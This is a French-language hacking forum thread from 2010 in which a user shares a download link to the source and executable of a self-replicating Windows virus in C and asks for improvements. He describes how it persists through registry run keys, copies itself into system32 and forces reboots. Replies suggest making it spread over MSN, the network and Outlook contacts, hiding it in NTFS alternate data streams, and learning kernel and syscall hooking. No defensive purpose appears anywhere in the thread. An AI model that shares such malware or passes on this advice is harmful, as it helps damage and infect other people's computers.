[Virus Open-Source]

Moderator: Mod

[Virus Open-Source]

Postby DENEKAR » Sun Jan 24, 2010 8:04 pm

Bonjour :)
Ça fait 2 jours que je planche sur un virus auto-réplicateur, et j'espère qu'il vous plaira.
Je vous donne le lien de téléchargement d'un fichier ZIP contenant le code du virus ainsi qu'un exécutable Windows. Surtout ne le lancez pas, sinon le cauchemar commence.
Si je poste ici c'est pour avoir des idées d'amélioration ainsi que l'avis de gens plus fortiches que moi en programmation.
Le virus est en C, et voici son mode de fonctionnement:
[list:c3b28b9fbe]Commence par créer une entrée dans la base de registre afin d'être lancé au démarrage du système.
Se réplique dans syteme32 avec un nom aléatoire et créé une clef dans le registre dans le but de lancer la copie au démarrage du système.
Affiche des messages d'erreur au démarrage de la machine, et cause son redémarrage intempestif[/list:u:c3b28b9fbe]

Lien de téléchargement [URL=http://www.zshare.net/download/716355166dfdc888/]ici[/URL]

Le tout en 130 lignes de code et 5 Ko pour l'exécutable après avoir été strippé et être passé par UPX(avec le flag --best).
Et puis je n'ai qu'un warning simplement pour avoir stocké un int dans un char.

Alors, qu'en pensez-vous?
Que pourrais-je améliorer?
Quelles fonctionnalités puis-je encore lui incorporer?
DENEKAR
Projets
 
Posts: 12
Joined: Fri Jan 15, 2010 7:15 pm

Postby THE-DEATH » Sun Jan 24, 2010 10:51 pm

Un petit virus standard qui n'utilise pas de méthodes très évoluées, le genre de chose que l'on a croisé il y a déja plusieurs années et qui ne sont plus vraiment considérés comme menace...Essaies plutôt d'approfondir tes connaissances en architecture kernel plutôt que de faire du bricolage. De plus, le niveau en programmation que l'on y découvre n'est pas franchement super.
Bref, pour cette fois nous dirons juste que tu es dans le bac a sable et que tu dois beaucoup plus travailler, vraiment lus, pour en sortir.

Amicalement.
User avatar
THE-DEATH
 
Posts: 971
Joined: Wed Jul 23, 2008 10:49 am
Location: 127.0.0.1

Postby DENEKAR » Mon Jan 25, 2010 12:43 pm

Merci beaucoup THE-DEATH
C'est grâce à ce genre de critiques constructives que je finirais par m'améliorer.
Mais quand tu dis "Le niveau en programmation que l'on y découvre n'est pas franchement super", je ne pense pas que, pour arriver à ce résultat, on puisse avoir un meilleur code.
J'utilise le moins de mémoire possible, par exemple en utilisant des char à la place des int.
Si tu as un exemple, n'hésite pas à me le montrer ;)
DENEKAR
Projets
 
Posts: 12
Joined: Fri Jan 15, 2010 7:15 pm

Postby Manu404 » Mon Jan 25, 2010 5:08 pm

A mon avis, il ne parle pas de performances mais de la propreté du code :wink:
User avatar
Manu404
 
Posts: 2219
Joined: Tue Feb 26, 2008 3:44 pm
Location: ::1:

Postby DENEKAR » Mon Jan 25, 2010 5:47 pm

Bah je trouve qu'il est plutôt propre.
Je veux des exemples moi >.<
DENEKAR
Projets
 
Posts: 12
Joined: Fri Jan 15, 2010 7:15 pm

Postby NEO-BURNER » Mon Jan 25, 2010 8:24 pm

Je suis pas le meilleur programmeur du monde, ni de france, ni de ma ville mais je pense que ce virus reste très simple a réaliser, je ne connais pas ton niveau en prog, mais je pense que tu devrais viser plus haut...

Ce virus c'est le premier que j'ai fais en batch, il faisait quelques lignes et était indétectable... Tu devrais essayer de faire la même chose mais qui s'auto-envoi sur msn, sur tout le réseau et a tous les contacts outlook par exemple...

Enfin essayes d'être plus inventif quoi ;-)
NEO-BURNER
Projets
 
Posts: 51
Joined: Thu Jan 21, 2010 11:17 pm

Postby THE-DEATH » Mon Jan 25, 2010 9:55 pm

Déolé si je me suis mal exprimé, ce que je voullais dire c'est que l'on ne découvre que des fonctions standards, il n'y a aucun aspet technique ici, ce n'est ni plus ni moins que de petites taches ou il n'est pas necessaire de disposer d'énormes connaiccances pour y arriver.
C'est la le gros soucis de ce code, si il n'y a aucune nouveauté, ou alors aucune technique relevant d'une reflexion ardue, alors il n'y présente aucun interet. Personnellement je préfère un code tres poussé techniquement, avec des notions peu connues en architecture système (par exemple) plutôt qu'un programme permettant demettre a nu tout les réseaux de télécome du monde si celui-ci se contente de faire ce que n'importe qui peu faire sans connaissance info, ou avec un code remplis de system("my_cmd");. Bon la j'en rajoute certes un peu mais j'espere que tu comprend l'interet de trouver des informations a partager autres que ce que tous le monde peut faire sans même connaitre la programmation.
User avatar
THE-DEATH
 
Posts: 971
Joined: Wed Jul 23, 2008 10:49 am
Location: 127.0.0.1

Postby NEO-BURNER » Mon Jan 25, 2010 10:02 pm

C'est ce que j'ai dis en gros :lol:
NEO-BURNER
Projets
 
Posts: 51
Joined: Thu Jan 21, 2010 11:17 pm

Postby DENEKAR » Tue Jan 26, 2010 1:22 pm

Justement, on est très loin du system("commande");
Bon bref j'ai compris, je vais y ajouter une couche réseau ;)
Je vous redonne le code dès que ça fonctionne :)
DENEKAR
Projets
 
Posts: 12
Joined: Fri Jan 15, 2010 7:15 pm

Postby TorTukiTu » Tue Jan 26, 2010 1:53 pm

DENEKAR, bon exercice de programmation.

Bonne idée de rajouter une couche réseau, ça te permettra de faire du socket =).

Si tu utilises ntfs, tu peux toujours faire un petit détour du côté des ADS. Fais une petite recherche dans ce forum ou dans le Turtle search. C'est une astuce extrêmement facile à utiliser et assez efficace.

Je te conseille aussi de descendre un peu plus bas dans le système. Tu verras, bidouiller du kernel c'est fascinant!

La tortue.
User avatar
TorTukiTu
Site Admin
 
Posts: 1960
Joined: Thu Feb 07, 2008 10:24 pm
Location: Devant son pc durant la redaction de ce message

Postby DENEKAR » Tue Jan 26, 2010 5:46 pm

Que veux-tu dire par bidouiller le kernel?
Carrément modifier les fichiers systèmes de Windaube ou bien directement m'attaquer au BIOS ?
DENEKAR
Projets
 
Posts: 12
Joined: Fri Jan 15, 2010 7:15 pm

Postby THE-DEATH » Tue Jan 26, 2010 6:58 pm

euh kernel = noyau il ne s'agit pas vraiment de bios ou des fichiers système, apparemment tu manques de notions en archi système, commences par là. Si tu t'intéresse au noyau Windows tu peux faire un tour du coté de => http://0vercl0k.tuxfamily.org/bl0g/ et http://www.ivanlef0u.tuxfamily.org/. Tu en apprendra surement beaucoup.
Sinon l'utilisation des ADS comme l'a signalé turtle ou de l'application de notions réseaux serait un bon exemple pour remédier a ma formulation plus haut.

Bon courage.
User avatar
THE-DEATH
 
Posts: 971
Joined: Wed Jul 23, 2008 10:49 am
Location: 127.0.0.1

Postby DENEKAR » Tue Jan 26, 2010 7:08 pm

Mais je vois pas ce que je peux "bidouiller" dans le noyau...
DENEKAR
Projets
 
Posts: 12
Joined: Fri Jan 15, 2010 7:15 pm

Postby TorTukiTu » Tue Jan 26, 2010 7:58 pm

Renseigne toi sur le hooking de fonctions au niveau noyau.

La tortue.
User avatar
TorTukiTu
Site Admin
 
Posts: 1960
Joined: Thu Feb 07, 2008 10:24 pm
Location: Devant son pc durant la redaction de ce message

Postby THE-DEATH » Wed Jan 27, 2010 12:04 am

Hum, si je puis me permettre, renseignes toi sur le fonctionnement d'un kernel, peut etre ensuite tu découvriera plus de possibilités et de problèmes a résoudre. Au pire tu peux commencer par te faire un mini OS ou tout du moins lire de la docu comme si c'etait le cas. Regardes aussi les drivers, le ring0, le happy(API) hooking, dll hooking, syscall hooking, émulation d'interruption, ce que tu peux trouver en mem lors d'une session, les méthodes de débogages des APIs ................................... j'en passe des dizaines mais ce n'est pas a moi de te donner tout ce qu'il te faut, c'est à toi de chercher.
Bonne continuation.
User avatar
THE-DEATH
 
Posts: 971
Joined: Wed Jul 23, 2008 10:49 am
Location: 127.0.0.1

Next

Return to C/C++

Who is online

Users browsing this forum: No registered users and 0 guests

cron